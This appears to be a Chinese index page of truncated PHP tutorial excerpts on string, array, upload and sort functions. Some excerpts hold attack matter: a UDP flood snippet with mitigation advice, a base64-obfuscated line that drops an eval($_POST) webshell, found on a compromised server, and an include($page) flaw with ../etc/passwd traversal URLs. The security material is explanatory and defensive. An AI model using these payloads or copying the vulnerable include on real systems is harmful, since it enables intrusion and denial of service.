移除 HTML 標籤 複製代碼 代碼如下: $text = strip_tags($input, ""); 上面的函數主要是使用了strip_tags,具體的使用說明參考。 返回 $start 和 $end 之間的文本 複製代碼 代碼如下: function GetBetween($content,$start,$end){ $r = explode($start, $content); if (isset($r[1])){ $r = explode($end, $r[1]);
複製代碼 代碼如下: 無重新整理上傳檔案 php代碼 sleep(2); $fileTypes = array('jpg','png','gif','bmp'); $result = null; $uploadDir = './upfiles'; $maxSize = 1 * pow(2,20); if ($_SERVER['REQUEST_METHOD'] == 'POST' &&
原因 php指令碼部分源碼: 複製代碼 代碼如下: $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); php指令碼中的 fsockopen 函數,對外部地址,通過UDP發送大量的資料包,攻擊對方。 應對 可通過 php.ini ,禁用 fsockopen 函數,及使用Windows 2003的 安全性原則 屏蔽原生UDP連接埠。 禁用函數 尋找到
json_encode 只支援utf-8格式這個就不多說了 複製代碼 代碼如下: $array = array ( [0] => array ( [sale_unit_detail_id] => 13 [price] => 740000 [geometric_lat] => 51.50348620 [geometric_lng] =>-0.01710900 ) [1] => Array ( [sale_unit_detail_id] => 27 [price] => 740000
今天一個客戶的伺服器頻繁被寫入: mm.php 內容為: 複製代碼 代碼如下: 最後查到某檔案內的第一行為以下代碼: 複製代碼 代碼如下: fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=")); base64_decode("bW0ucGhw") //mm.php base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=") //
關鍵字和特殊變數 new,class,extends。這三個,大家都懂得。 ::,範圍解析操作符(也可稱作 Paamayim Nekudotayim)或者更簡單地說是一對冒號,可以用於訪問靜態成員、方法和常量。還可以用於覆蓋類中的成員和方法。 parent和self。parent指的就是衍生類別在 extends 聲明中所指的基類的名字。這樣做可以避免在多個地方使用基類的名字。 $this
【 安全模式 】 PHP的安全模式提供一個基本安全的共用環境,在一個有多個使用者帳戶存在的PHP開放的Web伺服器上。當一個Web伺服器上啟動並執行PHP開啟了安全模式,那麼一些函數將被完全的禁止,並且會限制一些可用的功能。 [ 使用安全模式來強制限制 ] 在安全模式下,一些嘗試訪問檔案系統的函數功能將被限制。運行Web伺服器使用者ID,如果想要操作某個檔案,則必須擁有該檔案讀取或者寫入的存取權限,實現這個限制功能對於PHP來說是沒有問題的。 在
krsort()定義和用法 krsort() 函數將數組按照鍵逆向排序,為數組值保留原來的鍵。 可選的第二個參數包含附加的排序標誌。 若成功,則返回 TRUE,否則返回 FALSE。 文法 krsort(array,sorttype)參數 描述 array 必需。規定要排序的數組。 sorttype 可選。規定如何排列數組的值。可能的值: SORT_REGULAR - 預設。以它們原來的類型進行處理(不改變類型)。 SORT_NUMERIC - 把值作為數字來處理 SORT_STRING -
現在有一個mysql資料庫的test表裡有一個duration欄位,裡面有三條記錄: 00:22:32 13:42:21 134:42:21 表示的是時間長度,但是,檔案類型是文本。 現在要求,用php如何將這些記錄進行累加,最後顯示為一個總時間長度為秒鐘的結果? 複製代碼 代碼如下: //串連資料庫... 略 $total = 0; //總秒數 $sql = "select duration from test"; $rs = mysql_query($sql); while($row =
我們要使用的函數有 Scandir,它的作用是列出指定路徑中的檔案和目錄,就像 Dir 一樣。 > 與更強力的 Glob() 函數,作用是以數組的形式返回與指定模式相匹配的檔案名稱或目錄。 > 友情提醒,千萬別像小邪那樣在電腦前面呆太長時間,否則就會像小邪一樣得見鬼的高血糖。 一. 遍曆單層檔案夾: > 在掃描單層檔案夾的問題是,兩個函數的結果雖有不同,不過表現是相差不大的。 > Scandir 函數會提供額外兩行,分別是 “.” 和 “..” ,而 Glob 則是沒有的。 複製代碼 代碼如下:
asort() 定義和用法 asort() 函數對數組進行排序並保持索引關係。主要用於對那些單元順序很重要的結合數組進行排序。 可選的第二個參數包含了附加的排序標識。 如果成功則返回 TRUE,否則返回 FALSE。 文法 asort(array,sorttype)參數 描述 array 必需。輸入的數組。 sorttype 可選。規定如何排列數組的值。可能的值: SORT_REGULAR - 預設。以它們原來的類型進行處理(不改變類型)。 SORT_NUMERIC - 把值作為數字來處理
按指定元素值去除數組元素 複製代碼 代碼如下: //去除值為"Cat"的元素 $a=array("a"=>"Dog","b"=>"Cat","c"=>"Horse"); print_r($a); unset($a[array_search("Cat",$a)]);//array_search("Cat",$a)按元素值返回鍵名。去除後保持索引 print_r($a); ?> 查看array_search用法 顯示結果 去除前: Array ( [a] => Dog [b] => Cat [c]
這篇文章的亮點是,正則式更加複雜鳥,╮(-_-)╭,再就是 Copy 函數的灰常強大的一個用法。 > 話說剛才聽 NsYta 說小邪的主題太白了,杯具。最近太忙,沒有空,不然就自己搞一個新主題。 一. 抓取 CSS 中的圖片: > 1. 首先做好準備工作: > 第一步,先把 CSS 原本的路徑存到 $url 變數裡,然後把 CSS 的內容儲存在 abc.css 中。 > 因為考慮到經常碰到多個 CSS 檔案的狀況,所以小邪沒有直接填一個 CSS 路徑。 > 而是把幾個 CSS
sort()定義和用法 sort() 函數按升序對給定數組的值排序。 注釋:本函數為數組中的單元賦予新的鍵名。原有的鍵名將被刪除。 如果成功則返回 TRUE,否則返回 FALSE。 文法 sort(array,sorttype)參數 描述 array 必需。輸入的數組。 sorttype 可選。規定如何排列數組的值。可能的值: SORT_REGULAR - 預設。以它們原來的類型進行處理(不改變類型)。 SORT_NUMERIC - 把值作為數字來處理 SORT_STRING -
array_search()定義和用法 array_search() 函數與 in_array() 一樣,在數組中尋找一個索引值。如果找到了該值,匹配元素的鍵名會被返回。如果沒找到,則返回 false。 在 PHP 4.2.0 之前,函數在失敗時返回 null 而不是 false。 如果第三個參數 strict 被指定為 true,則只有在資料類型和值都一致時才返回相應元素的鍵名。 文法 array_search(value,array,strict)參數 描述 value
現在玩微博的人越來越多了,而關於微博的第三方應用開發也越來越多,自己在偶然間開始接觸了新浪微博API開發,新浪微博API開發的資源比較多,新浪微博提供了一個開發人員的平台,網址是:http://open.weibo.com,它裡面有很全面的新浪微博開發的資料,包括開發人員的使用和介紹,各種語言的API函數介紹文檔,SDK等多種資料。
ksort()定義和用法 ksort() 函數按照鍵名對數組升序排序,為數組值保留原來的鍵。 可選的第二個參數包含附加的排序標誌。 若成功,則返回 TRUE,否則返回 FALSE。 文法 ksort(array,sorttype)參數 描述 array 必需。規定要排序的數組。 sorttype 可選。規定如何排列數組的值。可能的值: SORT_REGULAR - 預設。以它們原來的類型進行處理(不改變類型)。 SORT_NUMERIC - 把值作為數字來處理 SORT_STRING -
代碼: 複製代碼 代碼如下: $page=$_GET['page']; include($page.'php'); ?> 你可以這樣使用 http://www.xxx.com/index.php?page=../etc/passwd http://www.xxx.com/index.php?page=../../../etc/passwd http://www.xxx.com/index.php?page=..../../etc/passwd 擷取更多資料: etc/profile
複製代碼 代碼如下: error_reporting(0); session_start(); //資料庫連接 $conn = mysql_connect('localhost', 'root', ''); mysql_select_db('chenkun', $conn); mysql_query('SET NAMES UTF-8'); //定義常量 define('ALL_PS', 'PHP'); function user_shell($uid, $shell, $m_id) {
看似簡單的東西,在實際運用中,還是很有意思的 算術運算子 運算子 名稱 結果 $a + $b 加法 $a 和 $b 的和 $a - $b 減法 $a 和 $b 的差 $a * $b 乘法 $a 和 $b 的積 $a / $b 除法 $a 除以 $b 的商 $a % $b 模數 $a 除以 $b 的餘數 遞增/遞減運算子 運算子 名稱 結果 ++$a 前加 $a 的值加一,然後進行操作 $a++ 後加 $a 的值先進行操作,後加一 --$a 前減 $a 的值減一,然後進行操作 $